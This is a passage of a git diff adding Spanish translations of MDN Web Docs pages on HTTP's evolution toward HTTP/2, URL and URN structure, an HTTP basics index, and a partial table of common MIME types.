+<p>Desde el año 2005, las APIs disponibles para páginas Web a aumentado considerablemente, y muchas de estas nuevas APIs dependen de cabeceras HTTP específicas para funciones concretas: </p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Server-sent_events">Eventos enviados por el servidor</a>: El servidor es el que ocasionalmente inicia los mensajes hacia el navegador. </li>
+ <li><a href="/en-US/docs/Web/API/WebSocket_API">WebSocket</a>, un nuevo protocolo que puede establecerse actualizando una conexión HTTP existente.</li>
+</ul>
+
+<h3 id="Relajación_del_modelo_de_seguridad_de_la_Web">Relajación del modelo de seguridad de la Web</h3>
+
+<p>El protocolo HTTP es independiente del modelo de seguridad de la Web: la <a href="/en-US/docs/Web/Security/Same-origin_policy">política del mismo origen</a>. De hecho, el actual modelo de seguridad de la Web, ha sido desarrollado con posterioridad  a la creación del protocolo HTTP. A lo largo de los años, se ha probado útil, poder ser más permisivo con ella, permitiendo que bajo ciertos requerimientos se puedan levantar algunas de las restricciones de esta política. Cuanto y cuantas de estas restricciones se pueden saltar es comunicado desde el servidor al cliente, mediante una serie de nuevas cabeceras HTTP. Estas están especificadas en los documentos como CORS ( del inglés <a href="/en-US/docs/Glossary/CORS">Cross-Origin Resource Sharing</a>, que viene a significar: recursos compartidos de orígenes cruzados) y el CSP (del inglés: <a href="/en-US/docs/Web/Security/CSP">Content Security Policy</a> , que traducido es: política de seguridad de contenidos).</p>
+
+<p>Además de estas ampliaciones, muchas otras cabeceras han sido añadidas, algunas unicamente experimentales. Algunas de ellas notables son: Do Not Track ({{HTTPHeader("DNT")}}); cabecera de control de privacidad:  {{HTTPHeader("X-Frame-Options")}}, y  {{HTTPHeader('Upgrade-Insecure-Requests')}}.</p>
+
+<h2 id="HTTP2_–_Un_protocolo_para_un_mayor_rendimiento">HTTP/2 – Un protocolo para un mayor rendimiento</h2>
+
+<p>A lo largo de los años, las páginas Web han llegado a ser mucho más complejas, incluso llegando a poder considerarse como aplicaciones por derecho propio. La cantidad de contedio visual, el tamaño de los scripts, y los scripts que añaden interactividad ha aumentado mucho también. Muchismos más datos son transmitidos bajo muchas mas peticiónes HTTP. Las conexiones HTTP/1.1 han de enviar las peticiones HTTP en el orden correcto. Teóricamente, seria posible usar varias conexiones en paralelo (normalmente entre 5 y 8), aumentando consecuentemente la complejidad del proceso. Por ejemplo, el HTTP 'pipelining' ha demostrado ser un lastre para el desarrollo Web. </p>
+
+<p>En la primera mitad de la década de 2010, Google demostró un proceso alternativo para el intercambio de data entre clientes y servidores, implementando el protocolo experimental SPDY (pronunciado como en inglés <em>'speedy'</em>). Este atrajo mucho interés por los desarrolladores de tanto los navegadores como los servidores. Definiendo una mejora en los tiempos de respuesta, y resolviendo el problema de datos duplicados transmitidos. SPDY sirvió como base para el desarrollo del protocolo HTTP/2. </p>
+
+<p>El protocolo HTTP/2, tiene notables diferencias fundamentales respecto a la versión anterior HTTP/1.1</p>
+
+<ul>
+ <li>Es un protocolo binario, en contraposición a estar formado por cadenas de texto, tal y como estában basados sus protocolos anteriores. Así pues no se puede leer directamente, ni crear manualmente A pesar de este inconveniente, gracias a este cambio es posible utilizar en él técnicas de optimización. </li>
+ <li>Es un protocolo multiplexado. Peticiones paralelas pueden hacerse sobre la misma connexión, no está sujeto pues a mantener el orden de los mensajes, ni otras restricciónes que tenian los protocolos anteriores HTTP/1.x</li>
+ <li>Comprime las cabeceras, ya que estas, normalmente son similares en un grupo de peticiones. Esto elimina la duplicación y retardo en los datos a transmitir. </li>
+ <li>Esto permite al servidor almacenar datos en la caché del cliente, previamente a que estos sean pedidos, mediante un mecanismo denominado '<em>server push</em>'.</li>
+</ul>
+
+<p>Estandarizado de manera oficial en Mayo de 2015, HTTP/2 ha conseguido muchos éxitos. En Julio de 2016, un 8.7% de todos los sitios Web<sup><a href="https://w3techs.com/technologies/details/ce-http2/all/all">[1]</a></sup> estaban usandolo ya, representando más del 68% de todo su tráfico<sup><a href="https://www.keycdn.com/blog/http2-statistics/">[2]</a></sup>. Los sitios Web con mucho tráfico, fueron aquellos que lo adoptaron más rápidamente, ahorrando considerablemente las sobrecargas en la transferencia de datos, ... y en sus presupuestos.</p>
+
+<p>Esta rápida adopción era esperada, ya que el uso de HTTP/2, no requiere de una adaptación de los sitios Web y aplicaciones: el uso de HTTP/1.1 o HTTP/2 es transparente para ellos. El uso de un servidor actual, comunicandose con un navegador actualizado, es suficiente para permitir su uso: únicamente en casos partículares fue necesario impulsar su utilización; y según se actualizan servidores y navegadores antiguos, su utilización aumenta, sin que requiera un mayor esfuerzo de los desarrolladores Web.</p>
+
+<h2 id="Post-evolución_del_HTTP2">Post-evolución del HTTP/2</h2>
+
+<p>Con la publicación de la versión del protocolo HTTP/2, esté no ha dejado de evoluciónar. Como con el HTTP/1.x, anteriormente, la extensibilidad del HTTP se sigue usando para añadir nuevas funcionalidades. Podemos enumerar algunas de estas nuevas características que se desarrollaron en el año 2016: </p>
+
+<ul>
+ <li>Soporte de la cabecera {{HTTPHeader("Alt-Svc")}}, la cual permite disociar la identificación de una ubicación, con respecto a un recurso pedido, permitiendo el uso más inteligente de los mecanismos de cacheo de memoria de los {{Glossary("CDN")}}.</li>
+ <li>La introducción de la cabecera {{HTTPHeader("Client-Hints")}}, que permíte al navegador, o cliente, comunicar proactivamente al servidor, sus necesidades o restricciones de hardware.</li>
+ <li>La introducción de prefijos de seguridad en la cabecera {{HTTPHeader("Cookie")}}, esto ayuda a garantizar que una cookie, no ha sido alterada.</li>
+</ul>
+
+<p>Esta evolución del HTTP demuestra su capacidad de ampliación y simplicidad, permitiendo así de forma deliverada su uso para muchas aplicaciónes y favoreciendo el uso de este protocolo. El entorno en el que el HTTP se usa hoy en día, es muy distinto al que habia a principios de la década de 1990. El desarrollo original de HTTP, ha demostrado ser una obra maestra, permitiendo a la Web evolucionar a lo largo de un cuarto de siglo, sin la necesidad de un 'amotinamiento'. Corrigiendo errores, y manteniendo la flexibilidad y extensibilidad que han hecho al HTTP un éxito, la adopción del HTTP/2 tiene un brillante futuro.</p>
diff --git a/files/es/web/http/basics_of_http/identificación_recursos_en_la_web/index.html b/files/es/web/http/basics_of_http/identificación_recursos_en_la_web/index.html
new file mode 100644
index 0000000000..f666c9240f
--- /dev/null
+++ b/files/es/web/http/basics_of_http/identificación_recursos_en_la_web/index.html
@@ -0,0 +1,169 @@
+---
+title: Identificación de recursos web
+slug: Web/HTTP/Basics_of_HTTP/Identificación_recursos_en_la_Web
+translation_of: Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">El objetivo de una solicitud HTTP se denomina "recurso", (es decir: datos), y dicho recurso, no posee un tipo definido por defecto; puede ser un documento, o una foto, o cualquier otra posibilidad. Cada recurso es identificado por un Identificador Uniforme de Recursos ({{Glossary("URI")}})  y es utilizado a través de HTTP, para la identificación del tipo de recurso.</p>
+
+<p>La identidad y la localización del recursos en la Web son en su mayoria proporcionados por una sola dirección URL (Localicador de Recursos Uniforme; un tipo de URI). A veces, el mismo URI no proporciona la identidad ni la ubicación: HTTP usa un encabezado HTTP especifico, {{HTTPHeader("Alt-Svc")}} cuando el recurso solicitado por el cliente quiere acceder a él en otra ubicación.</p>
+
+<h2 id="URLs_and_URNs">URLs and URNs</h2>
+
+<h3 id="URLs">URLs</h3>
+
+<p>La forma más común de URI es la ({{Glossary("URL")}}) (de las siglas en ingles: "<em>Uniform Resource Locator</em>", que podría traducirse como: Localizador Uniforme de Recursos), <em>que se conoce como la dirección web.</em></p>
+
+<pre>https://developer.mozilla.org
+https://developer.mozilla.org/en-US/docs/Learn/
+https://developer.mozilla.org/en-US/search?q=URL</pre>
+
+<p>Cualquiera de estas URLs se pueden escribir en la barra de direcciones de su navegador para decirle que cargue la pagina asociada (recurso).</p>
+
+<p>Una URL esta compuesta de diferentes partes, algunas obligatorias y otras son opcionales. Un ejemplo más complejo podría tener este aspecto:</p>
+
+<pre>http://www.example.com:80/path/to/myfile.html?key1=value1&amp;key2=value2#SomewhereInTheDocument</pre>
+
+<h3 id="URNs">URNs</h3>
+
+<p><span id="result_box" lang="es"><span>Un</span> <span>URN</span> <span>es</span> <span>una URI que</span> <span>identifica un recurso</span> <span>por su nombre en</span> <span>un espacio de nombres</span> <span>particular.</span></span></p>
+
+<pre>urn:isbn:9780141036144
+urn:ietf:rfc:7230
+</pre>
+
+<p>Las dos URNs corresponden a</p>
+
+<ul>
+ <li>El libro "1984" por George Orwell,</li>
+ <li>La especificación IETF 7230, Hypertext Transfer Protocol (HTTP/1.1): Sintaxis de Mensajes y Enrutamiento.</li>
+</ul>
+
+<h2 id="Sintaxis_de_Identificador_Uniforme_de_Recursos_(URIs)">Sintaxis de Identificador Uniforme de Recursos (URIs)</h2>
+
+<h3 id="sect1"> </h3>
+
+<h3 id="Esquema_o_protocolo">Esquema o protocolo</h3>
+
+<dl>
+ <dt><img alt="Protocol" src="https://mdn.mozillademos.org/files/8013/mdn-url-protocol@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>http://</code> es el protocolo. Indica que el protocolo debe utilizar el navegador. Por lo general, es el protocolo HTTP o su versión segura, HTTPS. La Web requiere de uno de estos dos, pero los navegadores también saben como manejar otros protocolos como  <code>mailto:</code> (para abrir un cliente de correo) o <code>ftp:</code> para manejar la transferencia de archivos, por lo que no se sorprenda si usted ve este tipo de protocolos. Los esquemas comunes son:</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Esquema</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>data</td>
+   <td><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">Datos URIs</a></td>
+  </tr>
+  <tr>
+   <td>file</td>
+   <td>Host-nombre de archivo específicos</td>
+  </tr>
+  <tr>
+   <td>ftp</td>
+   <td><a href="/en-US/docs/Glossary/FTP">Protocolo de Transferencia de  Archivos</a></td>
+  </tr>
+  <tr>
+   <td>http/https</td>
+   <td><a href="/en-US/docs/Glossary/HTTP">Protocolo de transferencia de Hipertexto (Seguro)</a></td>
+  </tr>
+  <tr>
+   <td>mailto</td>
+   <td>Dirección de correo electrónico</td>
+  </tr>
+  <tr>
+   <td>ssh</td>
+   <td>shell seguro</td>
+  </tr>
+  <tr>
+   <td>tel</td>
+   <td>teléfono</td>
+  </tr>
+  <tr>
+   <td>urn</td>
+   <td>Nombres Uniformes de Recursos</td>
+  </tr>
+  <tr>
+   <td>view-source</td>
+   <td>Código fuente del recurso</td>
+  </tr>
+  <tr>
+   <td>ws/wss</td>
+   <td>(Encriptado) conexiones <a href="/en-US/docs/Web/API/WebSockets_API">WebSocket</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Autoridad">Autoridad</h3>
+
+<dl>
+ <dt><img alt="Domaine Name" src="https://mdn.mozillademos.org/files/8015/mdn-url-domain@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>www.example.com</code> es el nombre de dominio o autoridad que gobierna el espacio de nombres. Indica cuando es solicitado el servidor Web . Alternativamente, Es posile usar directamente una {{Glossary("IP address")}}, pero debido a que es menos conveniente, no se usa muy amenudo en la Web.</dd>
+</dl>
+
+<h3 id="Puerto">Puerto</h3>
+
+<dl>
+ <dt><img alt="Port" src="https://mdn.mozillademos.org/files/8017/mdn-url-port@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>:80</code> es el puerto en este caso. Indica la técnica "puerta" usada para acceder a los recursos en el servidor web. Usualmente es omitido si el servidor web usa los puertos estándares del protocolo HTTP (80 para HTTP y 443 para HTTPS) para permitir el acceso a sus recursos. De lo contrario, es obligatorio.</dd>
+</dl>
+
+<h3 id="Ruta_de_Acceso">Ruta de Acceso</h3>
+
+<dl>
+ <dt><img alt="Path to the file" src="https://mdn.mozillademos.org/files/8019/mdn-url-path@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>/path/to/myfile.html</code> es la ruta de acceso al recurso en el servidor Web. En los primeros dias de la Web, una ruta como esta presentaba la ubicación fisica del archivo en el servidor Web. Hoy en día, es sobre todo una abstracción manejada por los servidores Web sin ningún tipo de realidad fisica.</dd>
+</dl>
+
+<h3 id="Consulta">Consulta</h3>
+
+<dl>
+ <dt><img alt="Parameters" src="https://mdn.mozillademos.org/files/8021/mdn-url-parameters@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>?key1=value1&amp;key2=value2</code> son unos parametros adicionales proporcionados al servidor Web. Esos parámetros son una lista de pares llave/valores separados por el simbolo &amp;. El servidor Web puede utilizar estos parámetros para hacer cosas adicionales antes de retornar el recurso al usuario. Cada servidor Web tiene sus propias reglas con respecto a los parametros, y la única manera confiable de saber cómo un servidor web especifico está manejando parametros es preguntando al usuario del servidor web.</dd>
+</dl>
+
+<h3 id="Fragmento">Fragmento</h3>
+
+<dl>
+ <dt><img alt="Anchor" src="https://mdn.mozillademos.org/files/8023/mdn-url-anchor@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>#SomewhereInTheDocument</code> es una referencia a otra parte del propio recurso. Esto representa una especie de "marcador" dentro del recurso, otorgandole al navegador las instrucciones para mostrar el contenido que se encuentra en esa referencia señalada. En un documento HTML, por ejemplo, el navegador se desplazará hasta el punto donde se define el fragmento; en un video o documento de audio, el navegador intentará ir a la vez que el ancla se presenta. Vale la pena señalar que la parte despues de la  #, también conocido como indentificador de fragmento, nunca se envia al servidor con la solicitud.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre>https://developer.mozilla.org/en-US/docs/Learn
+tel:+1-816-555-1212
+git@github.com:mdn/browser-compat-data.git
+ftp://example.org/resource.txt
+urn:isbn:9780141036144
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7230", "Uniform Resource Identifiers", "2.7")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Common_questions/What_is_a_URL">Qué es una URL?</a></li>
+ <li><a href="http://www.iana.org/assignments/uri-schemes/uri-schemes.xhtml">Lista de esquemas URI IANA </a></li>
+</ul>
diff --git a/files/es/web/http/basics_of_http/index.html b/files/es/web/http/basics_of_http/index.html
new file mode 100644
index 0000000000..1e4a404cbb
--- /dev/null
+++ b/files/es/web/http/basics_of_http/index.html
@@ -0,0 +1,51 @@
+---
+title: Conceptos básicos de HTTP
+slug: Web/HTTP/Basics_of_HTTP
+tags:
+  - HTTP
+  - NeedsTranslation
+  - Overview
+  - TopicStub
+translation_of: Web/HTTP/Basics_of_HTTP
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">El protocolo HTTP es un protocolo ampliable, es decir se puede añadir "vocabulario". HTTP está basado en unos pocos conceptos básicos como el concepto de recursos y URIs, una estructura sencilla de mensajes, y una arquitectura de cliente-servidor para ordenar el flujo de las comunicaciones. A demás de estos conceptos, a lo largo de su desarrollo han aparecido otros nuevos y se han añadido funcionalidades y reglas semánticas, creando nuevos métodos y cabeceras.</p>
+
+<h2 id="Artículos">Artículos</h2>
+
+<dl>
+ <dt><a href="/es/docs/Web/HTTP/Overview">Generalidades del HTTP</a></dt>
+ <dd>Descripción de qué es el protocolo HTTP y su función en la arquitectura de la Web. </dd>
+ <dt><a href="/es/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP">Evolución del HTTP</a> </dt>
+ <dd>HTTP fue creado a comienzos de la década de 1990s y ha sido ampliado con nuevas versiones varias veces. En este artículo se expone la evolución de su desarrollo y las versiones HTTP/0.9, HTTP/1.0, HTTP/1.1 y la última versión HTTP/2 así como detalles de las funciones que se han ido incluyendo.</dd>
+ <dt><a href="/es/docs/Web/HTTP/Basics_of_HTTP/Negotiating_an_HTTP_version">Negociación de la versión de HTTP </a></dt>
+ <dd>Se explica como un cliente y un servidor pueden negociar una versión específica de HTTP y eventualmente actualizar la version usada.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Resources_and_URIs">Recursos y URIs</a></dt>
+ <dd>Una breve descripción sobre qué son los recursos, identificadores y localidades en la Web. </dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Identificación de recursos en la Web</a> </dt>
+ <dd>Descripción de como se referencian recursos en la Web, como son referenciados y como localizarlos. </dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">URIs de datos</a> </dt>
+ <dd>Hay un tipo de URIs que permiten integrar directamente el recurso al que señalan. Los URIs de datos, son muy ventajosos, pero también tienen algunas desventajas. </dd>
+ <dt><a href="/es/docs/Web/HTTP/Basics_of_HTTP/Resource_URLs">URLs de recursos</a></dt>
+ <dd>Los recursos URL, prefijados con <code>resource:</code> en vez de <code>http </code>son usados por Firefox y algunas extensiones del navegador para cargar recursos internamente, <span class="tlid-translation translation" lang="es"><span title="">pero parte de la información también está disponible para los sitios a los que se conecta el navegador.</span></span><br>
+  </dd>
+ <dt>Separación de la identidad y la localización de un recurso: la cabecera Alt-Svc</dt>
+ <dd>En la mayoría de los casos, la identidad y localización de un recurso Web, son compartidos, esto se puede modificar con la cabecera de HTTP: {{HTTPHeader("Alt-Svc")}}.</dd>
+ <dt><a href="/es/docs/Web/HTTP/Basics_of_HTTP/MIME_types">Tipos MIME </a></dt>
+ <dd>Desde la versión HTTP/1.0, es posible trasmitir distintos formatos de recursos. En este artículo se explica como se hace, usando la cabecera: {{HTTPHeader("Content-Type")}}, y el estándar MIME. </dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs">Elección de URLs: www y no-www</a></dt>
+ <dd>Recomendación sobre el uso de dominios con prefijo www o no. En este artículo se explican los resultados de la elección y cómo hacerla. </dd>
+ <dt><a href="/es/docs/Web/HTTP/Basics_of_HTTP/Resource_URLs">Flujo de comunicación en una sesión HTTP</a></dt>
+ <dd>En este artículo se describe una comunicación típica de una sesión HTTP, y lo que sucede internamente cuando se hace click en un hiper-vínculo.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Messages">Mensajes HTTP</a></dt>
+ <dd>Los mensajes HTTP, sean peticiones o respuestas, siguen una estructura muy concreta; en este artículo se describe su estructura, su propósito y posibilidades. </dd>
+ <dt><a href="/es/docs/Web/HTTP/Frame%20and%20message%20structure%20in%20HTTP_2">Tramas y estructura de los mensajes en HTTP/2</a></dt>
+ <dd>La versión HTTP/2 encapsula y representa los mensajes de HTTP/1.x pero en tramas binarias. En este artículo se explica la estructura y los campos de las tramas, su finalidad y cómo se codifica. </dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Connection_management_in_HTTP_1.x">Proceso de conexión en HTTP/1.x</a></dt>
+ <dd>HTTP/1.1 fue la primera versión de HTTP que soportó las conexiones persistentes y el <em>pipelining</em>. En este artículo se explican estos dos conceptos.</dd>
+ <dt><a href="/es/docs/Web/HTTP/Connection_management_in_HTTP_1.x">Proceso de conexión en HTTP/2 </a></dt>
+ <dd>HTTP/2 revisó completamente, los métodos de negociación, creación y mantenimiento de conexiones: en este artículo se explica como se puede conseguír la multiplexación de las tramas y resolver el problema de 'head-of-line', que tenían las versiones anteriores de HTTP.  </dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Content_negotiation">Negociación de contenidos</a></dt>
+ <dd>HTTP presenta una serie de cabeceras que comienzan con  <code>Accept-</code> como medio para notificar al navegador, el formato, lenguaje, o codificación que prefiere.  En este artículo se explica el este proceso, como debe actuar el servidor, y como se elige la respuesta más apropiada.</dd>
+</dl>
diff --git a/files/es/web/http/basics_of_http/mime_types/common_types/index.html b/files/es/web/http/basics_of_http/mime_types/common_types/index.html
new file mode 100644
index 0000000000..466138012c
--- /dev/null
+++ b/files/es/web/http/basics_of_http/mime_types/common_types/index.html
@@ -0,0 +1,321 @@
+---
+title: Lista completa de tipos MIME
+slug: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types
+tags:
+  - Archivos
+  - Audio
+  - HTTP
+  - MIME
+  - Referencia
+  - Texto
+  - Tipos
+  - Tipos MIME
+  - Tipos de archivo
+  - Video
+translation_of: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="short_text" id="result_box" lang="es"><span>Aquí está una lista completa de</span></span> tipos de MIME, asociados por tipo de documentos y  ordenados por su extensión común.</p>
+
+<p>Dos tipos primarios de MIME son importantes para el rol de tipos por defecto:</p>
+
+<ul>
+ <li><code>text/plain</code> es el valor por defecto para los archivos textuales. Un archivo textual debe ser legible y no puede contener datos binarios.</li>
+ <li><code>application/octet-stream</code> es el valor por defecto para todos los demás casos. Un tipo de archivo desconocido debe usar este tipo. Los navegadores tienen un cuidado particular cuando manipulan estos archivos, tratando de proteger al usuario previéndo comportamientos peligrosos.</li>
+</ul>
+
+<p>IANA es el registro oficial de los tipos de media MIME y mantiene una <a href="http://www.iana.org/assignments/media-types/media-types.xhtml">lista oficial de todos los tipos de MIME</a>. Esta tabla, lista algunos de los tipos de MIME importantes para la web:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Extensión</th>
+   <th scope="col">Tipo de documento</th>
+   <th scope="col">Tipo de MIME</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>.aac</code></td>
+   <td>Archivo de audio AAC</td>
+   <td><code>audio/aac</code></td>
+  </tr>
+  <tr>
+   <td><code>.abw</code></td>
+   <td>Documento <a href="https://en.wikipedia.org/wiki/AbiWord">AbiWord</a></td>
+   <td><code>application/x-abiword</code></td>
+  </tr>
+  <tr>
+   <td><code>.arc</code></td>
+   <td>Documento de Archivo (múltiples archivos incrustados)</td>
+   <td><code>application/octet-stream</code></td>
+  </tr>
+  <tr>
+   <td><code>.avi</code></td>
+   <td>AVI: Audio Video Intercalado</td>
+   <td><code>video/x-msvideo</code></td>
+  </tr>
+  <tr>
+   <td><code>.azw</code></td>
+   <td>Formato  eBook Amazon Kindle </td>
+   <td><code>application/vnd.amazon.ebook</code></td>
+  </tr>
+  <tr>
+   <td><code>.bin</code></td>
+   <td>Cualquier tipo de datos binarios</td>
+   <td><code>application/octet-stream</code></td>
+  </tr>
+  <tr>
+   <td><code>.bz</code></td>
+   <td>Archivo BZip</td>
+   <td><code>application/x-bzip</code></td>
+  </tr>
+  <tr>
+   <td><code>.bz2</code></td>
+   <td>Archivo BZip2</td>
+   <td><code>application/x-bzip2</code></td>
+  </tr>
+  <tr>
+   <td><code>.csh</code></td>
+   <td>Script C-Shell</td>
+   <td><code>application/x-csh</code></td>
+  </tr>
+  <tr>
+   <td><code>.css</code></td>
+   <td>Hojas de estilo (CSS)</td>
+   <td><code>text/css</code></td>
+  </tr>
+  <tr>
+   <td><code>.csv</code></td>
+   <td>Valores separados por coma (CSV)</td>
+   <td><code>text/csv</code></td>
+  </tr>
+  <tr>
+   <td><code>.doc</code></td>
+   <td>Microsoft Word</td>
+   <td><code>application/msword</code></td>
+  </tr>
+  <tr>
+   <td><code>.epub</code></td>
+   <td>Publicación Electrónica (EPUB)</td>
+   <td><code>application/epub+zip</code></td>
+  </tr>
+  <tr>
+   <td><code>.gif</code></td>
+   <td>Graphics Interchange Format (GIF)</td>
+   <td><code>image/gif</code></td>
+  </tr>
+  <tr>
+   <td><code>.htm<br>
+    .html</code></td>
+   <td>Hipertexto (HTML)</td>
+   <td><code>text/html</code></td>
+  </tr>
+  <tr>
+   <td><code>.ico</code></td>
+   <td>Formato Icon</td>
+   <td><code>image/x-icon</code></td>
+  </tr>
+  <tr>
+   <td><code>.ics</code></td>
+   <td>Formato iCalendar</td>
+   <td><code>text/calendar</code></td>
+  </tr>
+  <tr>
+   <td><code>.jar</code></td>
+   <td>Archivo Java (JAR)</td>
+   <td><code>application/java-archive</code></td>
+  </tr>
+  <tr>
+   <td><code>.jpeg</code><br>
+    <code>.jpg</code></td>
+   <td>Imágenes JPEG</td>
+   <td><code>image/jpeg</code></td>
+  </tr>
+  <tr>
+   <td><code>.js</code></td>
+   <td>JavaScript (ECMAScript)</td>
+   <td><code>application/javascript</code></td>
+  </tr>
+  <tr>
+   <td><code>.json</code></td>
+   <td>Formato JSON</td>
+   <td><code>application/json</code></td>
+  </tr>
+  <tr>
+   <td><code>.mid</code><br>
+    <code>.midi</code></td>
+   <td>Interfaz Digital de Instrumentos Musicales (MIDI)</td>
+   <td><code>audio/midi</code></td>
+  </tr>
+  <tr>
+   <td><code>.mpeg</code></td>
+   <td>Video MPEG</td>
+   <td><code>video/mpeg</code></td>
+  </tr>
+  <tr>
+   <td><code>.mpkg</code></td>
+   <td>Paquete de instalación de Apple</td>
+   <td><code>application/vnd.apple.installer+xml</code></td>
+  </tr>
+  <tr>
+   <td><code>.odp</code></td>
+   <td>Documento de presentación de OpenDocument</td>
+   <td><code>application/vnd.oasis.opendocument.presentation</code></td>
+  </tr>
+  <tr>
+   <td><code>.ods</code></td>
+   <td>Hoja de Cálculo OpenDocument</td>
+   <td><code>application/vnd.oasis.opendocument.spreadsheet</code></td>
+  </tr>
+  <tr>
+   <td><code>.odt</code></td>
+   <td>Documento de texto OpenDocument</td>
+   <td><code>application/vnd.oasis.opendocument.text</code></td>
+  </tr>
+  <tr>
+   <td><code>.oga</code></td>
+   <td>Audio OGG</td>
+   <td><code>audio/ogg</code></td>
+  </tr>
+  <tr>
+   <td><code>.ogv</code></td>
+   <td>Video OGG</td>
+   <td><code>video/ogg</code></td>
+  </tr>
+  <tr>
+   <td><code>.ogx</code></td>
+   <td>OGG</td>
+   <td><code>application/ogg</code></td>
+  </tr>
+  <tr>
+   <td><code>.pdf</code></td>
+   <td>Adobe <a href="https://acrobat.adobe.com/us/en/why-adobe/about-adobe-pdf.html">Portable Document Format</a> (PDF)</td>
+   <td><code>application/pdf</code></td>
+  </tr>
+  <tr>
+   <td><code>.ppt</code></td>
+   <td>Microsoft PowerPoint</td>
+   <td><code>application/vnd.ms-powerpoint</code></td>
+  </tr>
+  <tr>
+   <td><code>.rar</code></td>
+   <td>Archivo RAR</td>
+   <td><code>application/x-rar-compressed</code></td>
+  </tr>
+  <tr>
+   <td><code>.rtf</code></td>
+   <td>Formato de Texto Enriquecido (RTF)</td>
+   <td><code>application/rtf</code></td>
+  </tr>
+  <tr>
+   <td><code>.sh</code></td>
+   <td>Script Bourne shell</td>
+   <td><code>application/x-sh</code></td>
+  </tr>
+  <tr>
+   <td><code>.svg</code></td>
+   <td>Gráficos Vectoriales (SVG)</td>
+   <td><code>image/svg+xml</code></td>
+  </tr>
+  <tr>
+   <td><code>.swf</code></td>
+   <td><a href="https://en.wikipedia.org/wiki/SWF">Small web format</a> (SWF) o Documento Adobe Flash</td>
+   <td><code>application/x-shockwave-flash</code></td>
+  </tr>
+  <tr>
+   <td><code>.tar</code></td>
+   <td>Aerchivo Tape (TAR)</td>
+   <td><code>application/x-tar</code></td>
+  </tr>
+  <tr>
+   <td><code>.tif<br>
+    .tiff</code></td>
+   <td>Formato de archivo de imagen etiquetado (TIFF)</td>
+   <td><code>image/tiff</code></td>
+  </tr>
+  <tr>
+   <td><code>.ttf</code></td>
+   <td>Fuente TrueType</td>
+   <td><code>font/ttf</code></td>
+  </tr>
+  <tr>
+   <td><code>.vsd</code></td>
+   <td>Microsft Visio</td>
+   <td><code>application/vnd.visio</code></td>
+  </tr>
+  <tr>
+   <td><code>.wav</code></td>
+   <td>Formato de audio de forma de onda (WAV)</td>
+   <td><code>audio/x-wav</code></td>
+  </tr>
+  <tr>
+   <td><code>.weba</code></td>
+   <td>Audio WEBM</td>
+   <td><code>audio/webm</code></td>
+  </tr>
+  <tr>
+   <td><code>.webm</code></td>
+   <td>Video WEBM</td>
+   <td><code>video/webm</code></td>
+  </tr>
+  <tr>
+   <td><code>.webp</code></td>
+   <td>Imágenes WEBP</td>
+   <td><code>image/webp</code></td>
+  </tr>
+  <tr>
+   <td><code>.woff</code></td>
+   <td>Formato de fuente abierta web (WOFF)</td>
+   <td><code>font/woff</code></td>
+  </tr>
+  <tr>
+   <td><code>.woff2</code></td>
+   <td>Formato de fuente abierta web (WOFF)</td>
+   <td><code>font/woff2</code></td>
+  </tr>
+  <tr>
+   <td><code>.xhtml</code></td>
+   <td>XHTML</td>
+   <td><code>application/xhtml+xml</code></td>
+  </tr>
+  <tr>
+   <td><code>.xls</code></td>
+   <td>Microsoft Excel</td>
+   <td><code>application/vnd.ms-excel</code></td>
+  </tr>
+  <tr>
+   <td><code>.xml</code></td>
+   <td><code>XML</code></td>
+   <td><code>application/xml</code></td>
+  </tr>
+  <tr>
+   <td><code>.xul</code></td>
+   <td>XUL</td>
+   <td><code>application/vnd.mozilla.xul+xml</code></td>
+  </tr>
+  <tr>
+   <td><code>.zip</code></td>
+   <td>Archivo ZIP</td>
+   <td><code>application/zip</code></td>
+  </tr>
+  <tr>
+   <td><code>.3gp</code></td>
+   <td>Contenedor de audio/video <a href="https://en.wikipedia.org/wiki/3GP_and_3G2">3GPP</a></td>
+   <td><code>video/3gpp</code><br>
+    <code>audio/3gpp</code> if it doesn't contain video</td>
+  </tr>
+  <tr>
+   <td><code>.3g2</code></td>
+   <td>Contenedor de audio/video <a href="https://en.wikipedia.org/wiki/3GP_and_3G2">3GPP2</a></td>
+   <td><code>video/3gpp2</code><br>
+    <code>audio/3gpp2</code> if it doesn't contain video</td>
+  </tr>
+  <tr>
+   <td><code>.7z</code></td>
